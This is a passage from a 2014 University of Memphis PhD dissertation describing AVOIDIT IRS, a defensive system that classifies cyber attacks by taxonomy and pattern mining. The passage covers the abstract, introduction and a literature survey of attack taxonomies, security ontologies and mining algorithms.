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ABSTRACT
Simmons, Christopher Bernard. Ph.D. The University of Memphis. August/2014.
AVOIDIT IRS: An Issue Resolution System to Resolve Cyber Attacks. Major Professor:
Sajjan Shiva, Ph.D.
Cyber attacks have greatly increased over the years and the attackers have
progressively improved in devising attacks against specific targets. Cyber attacks are
considered a malicious activity launched against networks to gain unauthorized access
causing modification, destruction, or even deletion of data. This dissertation highlights
the need to assist defenders with identifying and defending against cyber attacks. In this
dissertation an attack issue resolution system is developed called AVOIDIT IRS (AIRS).
AVOIDIT IRS is based on the attack taxonomy AVOIDIT (Attack Vector, Operational
Impact, Defense, Information Impact, and Target). Attacks are collected by AIRS and
classified into their respective category using AVOIDIT.
Accordingly, an organizational cyber attack ontology was developed using
feedback from security professionals to improve the communication and reusability
amongst cyber security stakeholders. AIRS is developed as a semi-autonomous
application that extracts unstructured external and internal attack data to classify attacks
in sequential form. In doing so, we designed and implemented a frequent pattern and
sequential classification algorithm associated with the five classifications in AVOIDIT.
The issue resolution approach uses inference to educate the defender on the
plausible cyber attacks. The AIRS can work in conjunction with an intrusion detection
system (IDS) to provide a heuristic to cyber security breaches within an organization.
AVOIDIT provides a framework for classifying appropriate attack information, which is
fundamental in devising defense strategies against such cyber attacks. The AIRS is
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further used as a knowledge base in a game inspired defense architecture to promote
game model selection upon attack identification. Future work will incorporate honeypot
attack information to improve attack identification, classification, and defense
propagation.
In this dissertation, 1,025 common vulnerabilities and exposures (CVEs) and over
5,000 lines of log files instances were captured in the AIRS for analysis. Security experts
were consulted to create rules to extract pertinent information and algorithms to correlate
identified data for notification. The AIRS was developed using the Codeigniter [74]
framework to provide a seamless visualization tool for data mining regarding potential
cyber attacks relative to web applications. Testing of the AVOIDIT IRS revealed a recall
of 88%, precision of 93%, and a 66% correlation metric.
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1.

1.1

INTRODUCTION

The Research
Cyber attacks have greatly increased over the years, where the attackers have

progressively improved in devising attacks toward a specific target. President Barack
Obama highlighted in his cyber security initiative [1], “It’s now clear that this cyber
threat is one of the most serious economic and national security challenges we face as a
nation.” With cyber threats on the rise, it is necessary to correctly identify the suspected
threat in a timely manner. Organizations, particularly small-to-medium sized, lack the
capacity to effectively capture cyber attacks and disseminate appropriate defenses. These
particular organizations rely on a select set of knowledgeable security personnel to
resolve network related issues. It is imperative that the organization as a whole partake in
fighting the pandemic of cyber attacks. An organization’s limited aptitude in capturing
and dissecting cyber attacks in a suitable time frame can become catastrophic monetarily.
An organization vigilant in cyber security requires people, processes, and tools to help
maximize effectiveness of a secure organization.
Moreover, businesses are reticent in releasing information regarding an attack to
others, as the threat of jeopardizing their reputation exists. Therefore, knowledge bodies
such as Computer Emergency Readiness Team (CERT) and Common Vulnerabilities and
Exposures (CVE) are not privy to zero day attacks that are taking place within
organizations. The collection of meaningful attack data via a local network setting is
continuously an area of improvement for security research. For example, CERT and CVE,
track common security vulnerabilities and incidents alerting the public of potential

breaches that may have an impact on organizations. The alerts presented by these
knowledge bodies are good with seeking vulnerability information pertaining to a
particular system. However, vulnerabilities in these repositories exist in large quantities
and may be irrelevant to the current situation of the organization.
In this dissertation an AVOIDIT Issue Resolution System (AIRS) is developed for
capturing, analyzing, and disseminating content relationships. AIRS is an ontology-based
system for organization, communication, and reusability of cyber attack knowledge. This
research presents the concept of using an attack taxonomy to facilitate classification.
Information extraction (IE) techniques are used to extract vulnerability information from
external repositories. Data mining techniques are used for frequent pattern analysis to
extract attack signatures from a knowledge repository and make meaningful relationships
to assist an organization in disseminating defenses against cyber attacks. Further, we
intend to implement the AIRS as a holistic component in a game inspired defense
architecture (GIDA) with the aim of proposing game decision models associated to the
identified attack [1D] to formulate suitable response strategies.
1.2

Motivation and Research Questions
The World Economic Forum has established cyber attacks as a global risk in its 2013

Global Risk report [2]. Consequently, small organizations often lack the incentives for
investing in a security plan that approaches the optimal level of security, thus making all
users less secure [3]. As of 2009, NSA estimated 75% of all enterprises experienced a
cyber attack and 80% of those cyber attacks were preventable. Since, smaller
organizations are performing a considerable amount of business via the web, it is vital as
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new attacks become available that we have some mechanism to learn appropriate
defenses [4].
There remains a deficiency in applications to classify attack details in a local network
setting to aid a defender in seamlessly identifying attacks and defenses. Applications such
as intrusion prevention systems (IPS) and Firewalls require expert knowledge to
distinguish between disparate attack vectors. Research has highlighted the need for an
attack taxonomy that provides a holistic approach to discovery of attack vectors and
defense propagation.
A knowledge system harnesses tacit knowledge from subject matter experts and prior
data to create a system where information is transferred throughout the organization. The
basis of an AIRS provides a resource in capturing information relative to the business
environment and engineer knowledge suitable for transfer. Knowledge systems for
knowledge engineering have been studied extensively, but remain limited regarding
cyber security. Asllani et al. [5] surveyed over 300 knowledge managers and found
nominal or no evidence of security issues being considered in their jobs. A local network
based AIRS would allow an organization to become cognizant against targeted attacks
before they are available to the public. A knowledge based AIRS for cyber attacks aids in
defending future attacks based on prior history of related incidents.
To date, there is a lack of an efficient knowledge base that reports cyber incidents in a
local setting. Furthermore, current security taxonomies are limited in efficiently
classifying attacks, which traditionally involve the classification of vulnerabilities,
computer and network attacks, security threats, or events. There is an increased need to
provide an attack taxonomy that classifies attacks using a holistic approach. Winterfield
[6] stated there is a lack of common definitions used to classify cyber attacks. Currently,
3

security taxonomies are used to generalize attacks, which inadvertently are prone to
neglect subsequent attacks. In general, little attention has been given to successfully
classifying ubiquitous blended attacks. A blended attack exploits one or more
vulnerabilities to perform an attack against a target [7]. Amer and Hamilton [8] stated a
complete secure solution considers more than one aspect. This concept is applied against
attacks within a holistic game inspired defense architecture, where a complete diagnostic
of attack vector information capable of launching an attack and propagating associated
game decision models for defense.
This research asks the following questions:
(1) Can an attack taxonomy be designed to accurately classify attack vectors at each
stage of an attack, including blended attacks?
(2) Can an ontology based issue resolution system be developed to publicize attack
and defense strategies within an organization to improve communication and
defense reusability?
(3) How will related attack information be correlated and attack information
validated?
(4) Can the issue resolution system properly disseminate game models relative to the
identified attack?
These questions allow researchers and practitioners to craft pragmatic ways with
properly defending a network against cyber attacks and develop a holistic approach to an
organization’s cyber security awareness.
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1.3

Goal and Contribution
This research reveals the need for an enhanced issue resolution system for cyber

attacks. This dissertation builds upon data mining techniques and the use of prior security
taxonomies and ontologies. Attack information is extracted to correlate data from
vulnerability repositories and web logs. Detailed transactions and various logs can be
used to reconstruct a sequence of events that preceded a problem [9]. This enables a
centralized location of all incidents to be correlated based on the sequence of events. Han
et al. [10] highlighted the importance of frequent patterns for data indexing, classification,
clustering, etc. Accurate cyber attack classification is pertinent for damage assessment
and recovery.
A data warehouse is built to efficiently collect and segment information within an
issue resolution system. This strategy allows data to flow more accurately within an
organization and is easier for computer agents to search and find the most relevant
defense mechanisms from the knowledge repository. Targeted information includes
vulnerabilities, attacks, and defenses for cyber security. CERT and CVE vulnerability
reports are used. One key aspect of this research demonstrates an attack taxonomy can be
utilized within a knowledge repository efficiently classifying attack vectors and its
relevant information.
In conjunction with the classification aspect, information extraction and data mining
techniques are applied to capture the complete attack path and propagate appropriate
defense mechanisms for an organization to become resilient in cyber security. Landwehr
et al. [11] state a taxonomy is most useful when it classifies threats in scope that
correspond to potential defenses. The future of durable applications depends on
organizations locating attack vectors in a timely manner and thwarting their damage
5

causing capabilities. Accomplishing this requires a well-organized knowledge base
containing validated information and pattern identification to predict attack trends.
AVOIDIT IRS will present a common platform for the management of cyber security
incidents. Employing AVOIDIT as the repository schema, an ontology based system is
developed called AVOIDIT IRS. AVOIDIT IRS captures attack vector information of an
attack from web log files, vulnerability repositories, and intrusion detection system log
files to disseminate defense strategies to an organization. The issue resolution system will
use a frequent pattern algorithm for event correlation from the various sources to
consolidate all sources into a centralized location based on the sequence of events.
This research makes several contributions to the security field. It builds upon the use
of vulnerability taxonomies in the security field (e.g. Howard [12], Lough [13], Hansman
and Hunt [7]) and provides an issue resolution approach to develop a security based
system for small to medium sized organizations. This project is based on attacks against
applications that are setup on a local network, which will be captured via web logs and
vulnerability repositories. Event correlation is performed using a frequent pattern
algorithm from the various sources for a centralized sequence of events. It involves an
intense strategy to develop an efficient ontology ensuring organizational communication
within the AIRS. AIRS is developed using an open source content management system,
which uses the PHP5 Codeigniter framework. MySQL 6.0 is used as the open source data
repository. The AIRS will be used in presenting a common gateway for an organization
to resolve cyber attacks in an efficient manner.
This research is among the first to demonstrate an ontology based system used to
extract defense strategies through terms and relations from a large corpus. An attack
taxonomy can be used as a foundation to classify a vast array of attacks. Data stored
6

within the repository is easily queried to retrieve frequent and/or sequential data items.
Applying the attack taxonomy in an issue resolution setting along with a correlation
algorithm enables the next generation of the knowledge base systems to depend more on
ontologies for spreading knowledge regarding an attack throughout the organization. We
further extend this research by incorporating the knowledge base within the GIDA
framework to store and retrieve game decision models relevant to an identified attack.
1.4

Scope
The scope of this research is to build a prototype of an issue resolution system for

cyber attacks discovery and defense solutions. In this research two levels of
communication will be reviewed using manual and automated scenarios to determine the
impact of AIRS’s ability to autonomously classify, alert, and provide defense strategies to
cyber attacks.
The AIRS is a ticketing system that will identify and track cyber incidents in a tree
structure displaying the complete path to an attack. Using a metric module the AIRS will
support monitoring, measuring, and reporting security incidents of monitored systems.
The AIRS will provide a user management module for roles based access.
The issue resolution system will capture and analyze inputs from the following
devices and repositories: system logs, web application logs, common vulnerabilities and
exposures repository, and manual ticket input from the AIRS. The AIRS will alert
administrators of potential breaches within monitored applications. This research will
focus on open source web application vulnerabilities that make up the majority of attacks.
The issue resolution system will not provide input from firewall components. The
AIRS will not execute or modify any IDS related policy files. AIRS will not directly
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locate or correct any code related to web application vulnerabilities. The AIRS is limited
in the GIDA framework to retrieving predefined game models stored within the
repository that have been previously associated with an identified attack.
This dissertation is organized as follows: In Chapter 2 a literature review is provided
on incident taxonomies, ontology development, pattern algorithms, and knowledge base
systems. In Chapter 3 the research methodology of AVOIDIT IRS is highlighted. Chapter
4 presents the implementation details of the AVOIDIT IRS, followed by the experiment
and results in Chapter 5. Chapter 6 concludes this research and discusses limitations to
AVOIDIT IRS, as well as insight for future work.
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2.

LITERATURE SURVEY

In this section, an overview of attack and vulnerability taxonomies is provided. A
taxonomy defines what data is to be recorded and how like and unlike samplings are to be
distinguished [11]. An ontology is a common way to organize knowledge and involves
the description of objects and relationships [16]. Emphasis is placed on ontology
development methodologies and knowledge base systems that provide support for an
ontology based system for cyber attack issue resolution. Frequent and sequential pattern
algorithms are also highlighted for correlating events.
2.1

Taxonomies
This section focuses network and computer security taxonomies, as well as

vulnerability taxonomies. Other taxonomies are presented related to cloud computing,
network security tools, and intrusion detection systems.
Kjaerland’s Taxonomy
Kjaerland [14] proposed a taxonomy of cyber-intrusions from Computer Emergency
Response Team (CERT) related to computer crime profiling, highlighting cyber-criminals
and victims. In this research, attacks were analyzed using facet theory and
multidimensional scaling (MDS) with Method of Operation, Target, Source, and Impact.
The method of operation is tactics used by the attacker to carry out the attack, such as
Misuse of Resources, User Compromise, Root Compromise, Social Engineering, Web
Compromise, Virus, Trojan, Worm, Recon, and Denial of Service. Target is the victim of
the attack, relative to commercial or government. Source is the source of the incident
capturing information regarding the attacker. Elements contained within source facet are

commercial, government, education, international, user, or unknown. Finally, the impact
facet is the effect of the attack, which contains the variables disrupt, destruct, distort,
disclose, or unknown.
The use of MDS is typically used in traditional crimes, wherein Kjaerland uses it to
analyze 23 variables associated to the four facets of cyber intrusion against commercial
versus government entities. Kjaerland discusses the lack of reporting of cyber incidents,
along with its lack of understanding. Kjaerland’s taxonomy focuses on the motive of the
attacker in an attempt to quantify why the attack takes place, and where the attack
originated. Her taxonomy contains some limitations as she provides a high level view to
the methods of operation without providing more details to the methods that can be used
in identifying attack inception. Kjaerland’s taxonomy provides a good starting point for
improved cyber attack taxonomy classifications.
Hansman and Hunt’s Taxonomy
Hansman and Hunt [7] proposed a taxonomy with four unique dimensions that provide
a holistic classification covering network and computer attacks. Their taxonomy provides
assistance in improving computer and network security as well as consistency in language
with attack description. The first dimension (attack vector) is used to classify the attack in
the following categories: virus, worm, Trojan, buffer overflow, network attack, physical
attack, password attack, and information gathering attacks. The second dimension
classifies the target of the attack, which involve either hardware or software. Each
software and hardware category provides further classification. The third dimension
consists of the vulnerability classification number, or criteria from Howard’s taxonomy
[12], relative to the vulnerability in implementation, vulnerability in design, or
10

vulnerability in configuration. The fourth and final dimension highlights the payload or
effects involved, whether it is a subsequent first dimension, corruption of information,
disclosure of information, theft of service, or subversion. Within each dimension various
sublevels of information are provided to supply attack details.
Hansman and Hunt [7] provided a unique loopback feature in their fourth dimension to
the first dimension of their taxonomy to aid in attack classification. They mentioned the
need of future work to improve classifying blended attacks, which is a limitation within
their taxonomy. Another limitation is the lack of vulnerability information, which
prohibits capturing information to aid in protecting a system from attacks. Hansman and
Hunt’s provide an intuitive perspective to classifying computer and network related
attacks for improvement.
Mirkovic and Reihner’s Taxonomy
Mirkovic and Reihner [15] offer a comprehensive taxonomy of Distributed Denial of
Services (DDoS) attack and defense mechanisms in aim to classify attacks and defense
strategies. This research highlights features of attack strategies, where the strategies are
imperative in devising countermeasures. The goal is to provide distinct characteristics of a
DDoS attack along with their differences to aid in analyzing variations of a DDoS attack
for prevention.
In their first taxonomy, Mirkovic and Reihner provide a taxonomy of DDoS attacks
categorized by Degree of Automation, Exploited Weakness, Source Address Validity,
Attack Rate Dynamics, Possibility of Characterization, Persistent Agent Set, Victim Type,
and Impact on Victim. The degree of automation is semi-automated, automated, or
manual relative to the recruit, exploit, infect, and use phases. The exploited weakness
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involves the type of exploit a vulnerability is used to deny the service of a victim to its
client, whether semantic or brute force. The source address validity captures whether the
source IP address has been spoofed or if it is a valid source IP address. The attack rate
dynamics involve the rate participating agents are sending packet streams to the victim,
which are classified by constant rate or variable rate attacks. The possibility of
characterizations looks at the content and header fields in an attempt to differentiate the
attack, where it is classified as characterizable or non-characterizable. The persistent
agent set is used to determine if the agent set is persistent or varied, which can determine
traceability of the attack. Host, network, application, resource, or infrastructure attacks
distinguish the victim type. Lastly, impact on victim involves whether the attack was
disruptive or degrading. These categories are used to examine the exploitation, the victim
impact, and characteristics with exploiting a DDoS attack.
In addition to classifying DDoS attacks, Mirkovic and Reihner developed a second
taxonomy of DDoS defenses consisting of Activity Level, Cooperation Degree, and
Deployment Location. The activity level involves whether the defense is preventative or
reactive. The cooperation degree is whether defense was conducted solely or in
cooperation with other entities, thus differentiated using autonomous, cooperative, and
interdependent solutions. Lastly, the deployment location comprises whether the defense
was deployed at the victim, intermediate, or source network location. Both the DDoS
attack and defense taxonomies are used in combination for classifying DDoS attacks and
potential defenses to provide communication of threats to foster cooperation between
researchers for discussing solutions.
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Lough’s Taxonomy
Lough [13] proposed an attack-centric taxonomy called VERDICT (Validation
Exposure Randomness Deallocation Improper Conditions Taxonomy). Lough focuses on
four major causes of security errors: Improper Validation, Improper Exposure, Improper
Randomness, and Improper Deallocation. He labels these four characteristics with a prefix
of “Improper” with attacks being thought of as improper conditions. Validation refers to
improperly validating or unconstrained data, which also includes physical security.
Exposure involves the improper exposure of information that could be used directly or
indirectly for the exploitation of a vulnerability. Randomness deals with the fundamentals
of cryptography and the improper usage of randomness. Deallocation is the improper
destruction of information, or residuals of data, which also includes dumpster diving.
Lough uses one or more of these characteristics to describe vulnerability within a system.
Lough describes his taxonomy as comprehensive, as it appears to fit a majority of
computer attacks from a high level. Hansman and Hunt [7] described Lough’s taxonomy
as lacking pertinent information that would be beneficial for knowledge bodies, such as
CERT, to classify day-to-day attacks and issuing advisories. Lough’s taxonomy lacks the
classification of significant attack types, such as worms, Trojans, viruses, etc., that would
give a defender useful information.
Howard’s Taxonomy
Howard and Longstaff [12] provided an incident taxonomy that classifies attacks by
events. An event is an attack directed at a specific target intended to result in a changed
state. The event involves the action and the target. They highlight steps that encompass
an attack and how an attack develops. The attack consists of five logical steps an attacker
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performs to achieve an unauthorized result. Those steps are: tools, vulnerability, action,
target, and unauthorized result. The tool refers to the mechanism used to perform the
attack. The vulnerability is the type of exploit used to perform attack. The action refers to
the method used by the attacker to perform the attack (i.e. Probe, Scan, Authenticate, etc.).
The target is the intention the attack is attempting to compromise; and the unauthorized
result is the change state caused due to the attack.
Howard and Longstaff’s taxonomy presents a process to unearthing attack details
based on the use of security incident theory with CERT classification for refinement.
Although Howard and Longstaff presented a useful taxonomy that provides an informative
baseline for cyber intrusions, their taxonomy lacks details needed for thorough insight into
the attack.
Jiang’s Taxonomy
Jiang et al. [92] proposed a defense-oriented multidimensional attack taxonomy
(DMAT). The taxonomy utilize nine classifiers to capture the characteristic of the attack.
These classifiers are attack target, attack impact, attack purpose, attack cost, attack
exploiting, attack source, attack automation, attack loss and defense.
In this research, Jiang et al. [92] compares their taxonomy to the Hansman’s [7] and
Howard’s [12] taxonomies using the Code Red [97] and Wu-ftpd [98] attacks, and claims
an advantage due to the ability to classify the cause of the worm infection. Although, the
taxonomy at face value appears to be an improvement to Hansman’s [7] and Howard’s
[12] taxonomies, Jiang et al. [92] taxonomy is limited in regard to its use. An example is
provided with the code red and wu-ftpd attacks, but does not capture the essence in which
to classify the events. Moreover, the taxonomy has the capability of decreasing its
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classifiers. For example, attack loss has security attribute loss and damage level, wherein
if the damage level is high, it would appear to impact the security attribute loss of
confidentiality, integrity or usability. In the example provided by Jiang et al. [92], the code
red and wu-ftpd did not possess a security loss attribute when in fact the usability was
definitely impacted with code red. Jiang et al. [92], research to the proposed defenseoriented multidimensional attack taxonomy is inspiring in what it intends to capture, but
limited in the key mutual exclusive requirement of a taxonomy.
Applegate and Stavrou’s Taxonomy
Applegate and Stavrou [93] presented a novel taxonomy, an extension from taxonomy
developed in this research that classifies cyber conflicts using a plex data structure. The
proposed taxonomy attempts expand the traditional cyber warfare taxonomy into a cyber
conflict taxonomy describing the events between nations (entities), as well as non-nation
(entities). Applegate and Stavrou [93] taxonomy is classified beginning with categories
and subjects. The categories are classified using action and actor, whereas the subjects are
classified using entity and event. The action classifier sub-classifies action conflicts as
defense and intrusion. The defense is a high-level conflict scenario involving various
resources. The intrusion involves vector, operation impact, systems impact, and
informational impact, derived mainly from this research.
Applegate and Stavrou [93] taxonomy has presented an alternative way to classify
cyber warfare under the auspice of conflict, which appear the same. In analyzing cyber
conflict, this research compares Howard’s [12] and AVOIDIT [1B] taxonomies using the
Shady RAT intrusion, with improved results. Although, this work has presented an alleged
taxonomy, it appears this work is inline using an ontology, being that the disparate
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concepts are being presented as one. The comparison cannot truly match with adding noncyber attack related classifiers. Applegate and Stavrou [93] enhancement to the AVOIDIT
[1B] taxonomy when presented in a cyber conflict manner provides a good fit for
operational plans for strategy assessment.
Uma and Padmavathi’s Taxonomy
Uma and Padmavathi [94] proposed a high-level cyber attack taxonomy to classify
various attacks and the mode of action for appropriate defense. The taxonomy has five
main classifiers, which are attack purpose, legal classification, severity of involvement,
scope and network type. Attack purpose involves reconnaissance attack, access attack, and
denial of service attack. Legal classification contains cyber crime, cyber espionage, cyber
terrorism, and cyber war. Severity of involvement corresponds to either passive or active
attacks. Scope pertains to malicious large scale or non-malicious small scale. Lastly,
network type classifies attacks either in mobile ad-hoc network (MANET) or wireless
sensor network (WSN).
Uma and Padmavathi’s [94] taxonomy provides a start to classify various cyber crime
attacks. This taxonomy lacks the ability to succinctly classify the types of attacks
mentioned in their research. It is unclear how their taxonomy is used in general with
respect to a specific attack. For example, a reconnaissance attack is listed as packet sniffer,
port scanning, ping sweeps or distributed network services queries. These do not
necessarily mean an attack has been successful, but normally precede a cyber attack.
Other Taxonomies
Li et al. [89] presented a taxonomy of general cyber attacks on smart grid
communication. These attacks involve device attacks aiming to compromise a grid. Data
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attacks are where attempts are made to insert, alter, or delete data in network traffic to
deceive smart grid decision-making. Privacy attacks aim to capture privacy related data,
while analyzing electricity usage data. Network availability attacks aim to overwhelm or
fully consume resources of smart grid resulting in a delay or disruption of communication.
Hashemi and Ardakani [90] proposed a taxonomy of security aspects of cloud
computing systems. Cloud computing system threats presented are infrastructure,
application, platform, and administration. Infrastructure related threats are classified using
physical security, virtualization, host, and network. Application threats involve data
security and application security. Platform involves platform security; lastly
administration encompasses provider and government. Hashemi and Ardakani have
presented a good starting point to begin the improvement of predecessor taxonomies
associated with cloud computing attack incidents.
Zhu and Sastry [91] proposed a taxonomy of cyber attacks on supervisory control and
data acquisition (SCADA) systems. The aim is to capture the understanding of SCADA
systems by presenting the relation to IT systems. Zhu and Sastry classify attacks on
SCADA systems using the vulnerability, the type of attack on hardware, the type of attack
on software, and the type of attack on the communication stack. The various attack
classifications compose the cyber-physical related attacks. Zhu and Sastry provide more
descriptive categories in the software and communication related attacks, whereas the
vulnerability and hardware related classifiers are general in nature. This research gives rise
to incorporating physical attack initiatives relative to cyber security.
Koch et al. [95] presented current attack trends in computer networks and proposed an
IDS taxonomy to improve upon the shortcomings of existing IDS related taxonomies.
Some of the current attack trends involve application layer attacks, zero-day exploits,
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social engineering attacks, targeted attacks, dissemination routes, data leakage and insider
attacks, encryption attacks, IPv6 and cloud computing related attacks. The proposed IDS
taxonomy is an extension of an existing IDS taxonomy [95], involving detection method,
behavior of detection, audit source location, detection paradigm, and usage frequency.
Koch et al. [95] provides an additional classifier completeness as well as its sub-level data
dependency and incident. Although, Koch et al. [95] proposed taxonomy is an
enhancement from previous work, it is stated there remains the inability to capture social
engineering, targeted or insider attacks, but these attacks are very prevalent and should be
considered when assessing an IDS.
Hoque et al. [96] proposed a taxonomy of network security tools that can be utilized
by both attacker and defender to strengthen the research of network security. An
exhaustive survey of attacker and defender tools were evaluated to provide the reviewer
with benefits and shortcomings of the evaluated tools and classified in their respective
categories. The taxonomy classifies network security tools according to attacker tools and
defender tools. Attacker tools involve information gathering and attack launching. Attack
launching classifies the tools with respect to Trojans, DoS/DDoS, packet forging attack,
application layer attack, fingerprinting attack, user attack and others. Information
gathering is shared between the attacker and defender, which encompass sniffing and
network mapping/scanning. Classifying tools beneficial to the defender are considerably
limited; comprise information gathering and network monitoring. Network monitoring
classifiers only include visualization and analysis. Hoque et al. [96] provides great insight
for research looking to incorporate tools into future cyber attack taxonomies, as the
attacker’s method of operation can be captured by sophisticated defense infrastructures.
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2.2

Ontology
In this section, an overview of ontology methodologies and security ontologies is

provided. An ontology enables a mutual way to organize knowledge and involves the
description of objects and their relationships [16]. Furthermore, ontologies provide a
mechanism for shared vocabularies, which allow an improvement of information retrieval,
and assist data integration [17]. Generally speaking, an ontology captures explicit
knowledge used for concepts and relationship building to infer implicit knowledge. Wang
and Guo [18] stated a heavy-weight ontology may be considered a formal logic system,
which includes rules, concepts, concept taxonomies, relationships, properties, axioms and
constraints.
Ontology Development Methodologies
There are several methodologies that highlight ontology development within various
disciplines. Methontology is an ontology building methodology that focuses on the reuse
or reengineering ontologies [19].The CO4 project involves a methodology that builds
upon incremental knowledge being integrated into a knowledge base formally and
informally [17]. The KACTUS project involves a methodology that builds upon itself as
knowledge grows during each application being implemented [20]. The On-ToKnowledge methodology involves gathering project objectives through four steps:
kickoff, refinement, evaluation, and ontology maintenance that are used within a
knowledge management tool [20]. Although, this research is not focused on the
knowledge gained by the development of applications and projects, a focal point is placed
on the knowledge gained from each discovered use of an attack vector and associated
information.
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Cheah [17] described the need of multi-site project management (MSPM), where a
need for an ontology that best suites this genre of knowledge as software development is
becoming a multi-site initiative. OWL was used to conceptualize the knowledge
specifications into logical data models. Jarrar et al. [21] proposed using conceptual data
modeling techniques for building ontologies. This provided an ontology-engineering
framework that enables reusing conceptual models for modeling and representing
ontologies. Guarino [22] explored the strong connection between knowledge engineering,
conceptual modeling, and formal ontologies to enhance the emerging field of ontology
engineering. This research involving the development of ontologies assisted with the
baseline for the development of the AVOIDIT IRS Ontology.
D’ Amico et al. Security Ontology
D’Amico et al. [23] presented a mission critical ontology used to provide asset
relationship with users in the event of a cyber attack. This work was composed at a
workshop derived from the Camus project, in which security experts within the
commercial sector and military were surveyed using situational cyber analysis to develop
the mission critical ontology. This work was developed in aspiration to further research in
regards to security knowledge elicitation or to assist organizations with scenario analysis.
Simmonds et al. Network Security Attack Ontology
Simmonds et al. [24] proposed an ontology to network security classification based
on prior taxonomies addressing the commonality for an extensible approach to
classifying attacks. The classes within the ontology are Access, Actor, Attack, Impact,
Information, Intangible, Motive, Outcome, Systems Administrator, and Threat. The
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associated properties are assesses, causes loss of, gains, has, loses, makes, reports, and
uses. The properties seem to be verbs, which appear to allow association of the classes.
2.3

Mining Algorithms
In this section, an overview of the mining algorithms used in this research is provided

to capture the frequency and sequential aspects of attack events. The offered algorithms
give insight to data mining techniques for a foundation of extracting sequential events
based on the frequency of occurrences within a repository.
Frequent Pattern Algorithms
Han et al. FP-Tree
Han et al. [25] proposed a frequent-pattern tree approach to mining large amounts of
frequent patterns in a transactional database. Han et al. provides an extension to the
Apriori algorithm through the use of partitions, divide-and-conquer growth patterns. This
approach utilizes solutions to smaller tasks. The approach scans the database twice: one
to get frequencies and another to construct the frequency tree. Efficiency is achieved
using three techniques: a large database is compressed into a smaller data structure, a fptree-based mining using pattern-fragment growth is used to avoid costly generation, and a
partitions-based divide and conquer method increases efficiency.
Han et al. [25] FP-Tree algorithm being a divide and conquer sheds light on the
extending the Apriori algorithm, which is a bottom-up algorithm, to garner a mechanism
of decreasing the sample space from a search. This algorithm was not used per se but
provided direction in algorithm development.
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CanTree
Leung et al. [26] proposed a canonical-order tree algorithm that captures the content
of the transaction database and orders tree nodes, called CanTree. This work provided an
extension to the FP-tree algorithm for incremental mining. Leung et al. [26] uses CanTree
to efficiently arrange tree nodes according to canonical order, which are unaffected by
frequency item changes. This provides easy maintenance when transactions are modified
within a database.
Leung et al. [26] CanTree canonical-order algorithm assisted with rule setting. The
CanTree algorithm was used as a guide for algorithm development in this research, which
allows an administrator the ability to continuously develop, enhance and implement rules
to capture attack events. Attack events detected in our web logs, which violate system
rules, can be correlated with external information for notification.
TreeMiner
Zaki [27] presented a TreeMiner algorithm that discovers all frequent subtrees in a
forest. This novel algorithm performed a depth first search for frequent subtrees using a
tree representation called scope list. The use of scope list improved the ability for fast
support counting of candidate trees.
Zaki [27] TreeMiner algorithm supports this research in searching the repository for
existing trees that associated to attack events. The TreeMiner was not implemented in this
research, but guided the initiative of a depth first search for previous trees that contained
suspecting vulnerabilities along with their probable sequence for administrator
notification.

22

Stein et al.
Stein et al. [28] proposed a genetic algorithm used to select an optimal subset of
features for network intrusion detection systems, both misuse and anomaly based systems.
Decision tree classifier is a well-known machine learning technique, which is simply a
divide-and-conquer procedure. Genetic algorithms are frequent solutions that have been
applied to search and optimization problems. A hybrid approach of the two efficiently
classifies signatures from an IDS. The classification was improved, but the running time
saw an increase.
Stein et al. [27] algorithm, which supports misuse and anomaly based systems,
provide a great analysis of capturing IDS related events. Although, IDSs are a great
assistance to capturing attack related events, this research did not implement any aspect
of Stein, et al.’s algorithm.
Ning et al.
Ning et al. [29] proposed three utilities to facilitate correlating a large dataset of IDS
related alerts. These utilities are adjustable graph reduction, focused analysis, and graph
decomposition. This resulted in the correlation of using consequences of earlier events
with prerequisites later events. Ning et al. [29] presents an interesting approach to
navigate through the enormous amounts of data captured from an IDS. The following
work [30] is an extension, which focused on correlation to construct attack scenarios
using hyper-alert type representing prerequisite and consequences of each alert type of an
attack.
Ning et al. [29] algorithm using graph reduction and decomposition highlights the
ability to correlate IDS related events. Even though their algorithm was not implemented
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in this research, it guides with composing attack scenarios for rule generation. Once a
rule is violated and detected, the correlation mechanism is procured for notification to the
administrator.
Sequential Pattern Algorithms
SPADE
Zaki et al. [31] offered a new algorithm for sequential pattern discovery using
equivalent classes approach to mining frequent sequences called SPADE. SPADE uses
ID lists for temporal joins, and a lattice-theoretic approach to decompose the original
search space. This work incorporates both depth first and breadth first search approaches
to enumerate the frequent sequences within each sub-lattice. Zaki et al. shows SPADE to
scale linearly in database size.
The SPADE algorithm aids this research in the sequential pattern discovery aspect.
The equivalent classes approach was used in this research relative to the equivalence of
attack vector information. Whereas, SPADE used both breath first and depth first
searches, this research focused only on the depth first search aspect to capture the
sequence of events.
TSP
Tzvetkov et al. [32] proposed a sequential pattern algorithm called TSP that mines the
top-k closed sequential patterns. This is used to prune the projected database and perform
dynamic support raising. Along with the TSP algorithm, Tzvetkov et al. introduced a
closed pattern verification algorithm, which guarantees the candidate result set contains
the desired number of closed sequential patterns during the mining process.
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The TSP algorithm is based on the depth first search algorithm of Prefix-Span. We
utilize aspects of the TSP algorithm in a manner of structuring our algorithm to prune the
database based on specific attack vector types and their frequencies, which produces a
probable sequential tree. Our algorithm differs from producing a set of closed sequential
patterns, but one sequential pattern that best fit the probability of an attack instance.
Prefix-Span
Pei et al. [33] proposed a prefix-projected sequential pattern mining (Prefix-Span) that
explores prefix-projection in sequential patterns. Prefix-Span was developed to reduce the
time of subsequence generation while mining the complete set of patterns. The goal of
PrefixSpan is to examine the prefix subsequences that allow a representation of the postfix
subsequences in the database. PrefixSpan may impose a cost from recursively constructing
projected databases for each sequential pattern. Pei et al. described the use of bi-level
projection and pseudo projection to reduce the cost of producing projected databases. The
pseudo project dramatically reduces cost due to its ability of housing the projected
databases in main memory.
PrefixSpan presents the groundwork for developing a sequential pattern algorithm. An
updated sequential algorithm was analyzed for components of algorithm development
within this research.
2.4

Machine Learning and Information Extraction
Gutta [34] proposed a new cyber attack detection system that encompasses the

multiple sensor notification in a distributed fashion. This work takes aim at generalizing
attack pattern classification to learn and adapt to innovative intrusions to create an
autonomous learning system. Gutta uses the support vector machine (SVM) as the binary
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classifier to classify cyber attack information, with a lack of efficiency mentioned relative
to the performance of using preset parameters in the SVM with large datasets. Gutta
proposes a more efficient performing SVM by retaining only the pertinent samples that
have potential of becoming a part of the support vectors through clustering using a
Bayesian approach, which does not require preset parameters, followed by a logistic
regression for sample elimination.
Tran [35] proposed one-class SVMs applied to the 1999 DARPA dataset. TCPSTAT
